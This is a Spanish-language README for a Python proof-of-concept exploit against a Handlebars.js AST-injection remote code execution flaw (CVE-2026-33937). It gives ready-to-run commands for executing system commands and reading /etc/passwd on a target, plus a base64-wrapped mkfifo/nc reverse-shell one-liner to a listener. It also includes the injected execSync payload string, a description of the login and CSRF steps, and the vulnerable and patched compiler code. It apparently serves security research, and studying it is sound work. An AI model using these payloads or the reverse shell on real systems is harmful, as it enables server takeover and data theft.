
Python POC, Exploit para Handlebars.js AST Injection RCE. Las versiones de Handlebars.js desde la 4.0.0 hasta la 4.7.8 están afectadas. Puntuación CVSS: 9.8 Crítico.
Las versiones 4.0.0 a 4.7.8 de Handlebars.js están afectadas. Puntuación CVSS: 9.8 Crítica.
CVE-2026-33937 es una vulnerabilidad de confusión de tipos en Handlebars.js. La función Handlebars.compile() acepta tanto una cadena de plantilla como un objeto AST preanalizado como entrada. Cuando un atacante pasa un objeto AST manipulado, el visitante NumberLiteral del compilador inserta el campo value del nodo textualmente en el cuerpo de la función JavaScript generada sin ningún tipo de saneamiento. Llamar a render() sobre el resultado ejecuta código controlado por el atacante dentro del proceso Node.js.
python3 exploit.py --url <target> --username <email> --password <pass> --command <cmd>
Argumentos
--url — URL base del objetivo, p. ej. http://hello.veer/ (obligatorio)--username — Dirección de correo de inicio de sesión (obligatorio)--password — Contraseña de inicio de sesión (obligatorio)--command — Comando del sistema operativo a ejecutar, por defecto id (opcional)Ejemplos
# Verify RCE
python3 exploit.py --url http://hello.veer/ --username cognito@veer --password 'P@ssw0rd@123' --command id
# Read a file
python3 exploit.py --url http://hello.veer/ --username cognito@veer --password 'P@ssw0rd@123' --command 'cat /etc/passwd'
# To get reverse shell
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc <listener_ip> 4444 >/tmp/f' | base64 -w 0
python3 exploit.py --url 'http://hello.veer/' --username 'cognito@veer' --password 'P@ssw0rd@123' --command 'echo <base64_payload> | base64 -d | bash'
El script realiza un inicio de sesión completo antes de explotar la vulnerabilidad. Primero envía una petición GET a /login para extraer el token _csrf oculto del formulario, y luego envía ese token junto con el correo electrónico y la contraseña proporcionados como un POST codificado en formulario a /login. Si tiene éxito, el servidor devuelve una redirección 302 a /dashboard y establece la cookie de sesión dz.sid, que se utiliza en todas las peticiones posteriores.
Se obtiene automáticamente un token CSRF nuevo antes de cada petición POST, porque el middleware CSRF de la aplicación requiere uno en cada operación de mutación.
La aplicación expone POST /character, que acepta Content-Type: application/json. Esta ruta crea un nuevo personaje de D&D y, cuando se proporciona campaign_id, pasa el campo campaign_message directamente a Handlebars.compile() en el servidor:
// Server-side Node.js (vulnerable)
const render = Handlebars.compile(campaign_message); // no type check
const output = render({ name, race, class }); // payload executes here
// output is stored as a campaign log entry
Cuando el cuerpo de la petición es JSON, campaign_message puede ser un objeto anidado (el AST) en lugar de una cadena, omitiendo cualquier validación de cadenas a nivel de formulario. El campo campaign_id hace que el servidor almacene el resultado renderizado como un mensaje de registro de campaña, que luego se puede leer en GET /campaign/1, lo que proporciona al atacante la salida del comando fuera de banda.
El exploit utiliza NumberLiteral combinado con el helper lookup.
La compilación normal de {{lookup this 1}} produce:
env.helpers.lookup(this, 1, {options})
El NumberLiteral.value inyectado reemplaza el 1 por:
{},{})) + process.mainModule.require('child_process').execSync('cmd').toString() //
El JavaScript emitido se convierte en:
env.helpers.lookup(this, {},{}))
+ process.mainModule.require('child_process').execSync('cmd').toString()
// <remainder of expression is commented out>
Cuando se llama a render(), execSync() se dispara y su stdout se devuelve como valor de la expresión, que se almacena como mensaje de la campaña.
Los comandos se envuelven internamente como /bin/sh -c 'cmd 2>&1' para que los comandos con espacios, tuberías y redirecciones funcionen correctamente y stderr se capture junto con stdout.
El script registra el número de mensajes de campaña antes de enviar el payload. Después del POST, vuelve a obtener /campaign/1 y corta messages[before_count:] para aislar la entrada añadida recientemente. Este enfoque maneja correctamente los casos en los que el mismo comando se ha ejecutado antes, ya que una comparación basada en conjuntos eliminaría los duplicados de salidas idénticas y omitiría el nuevo resultado.
Dentro de Handlebars.js javascript-compiler.js, el código vulnerable es:
// Versions 4.0.0 – 4.7.8
NumberLiteral(number) {
this.pushStackLiteral(number.value); // value inserted verbatim, no type check
}
La versión 4.7.9 añade una comprobación de tipo en el punto de entrada de compile() que rechaza cualquier entrada que no sea una cadena antes de llegar al generador de código:
// Patched in 4.7.9
if (typeof input !== 'string') {
throw new Handlebars.Exception(
'You must pass a string or Handlebars AST to Handlebars.compile.'
);
}
Este repositorio está destinado únicamente a la investigación y educación en seguridad. Utilice este exploit solo contra sistemas que posea o sobre los que tenga autorización explícita por escrito para realizar pruebas.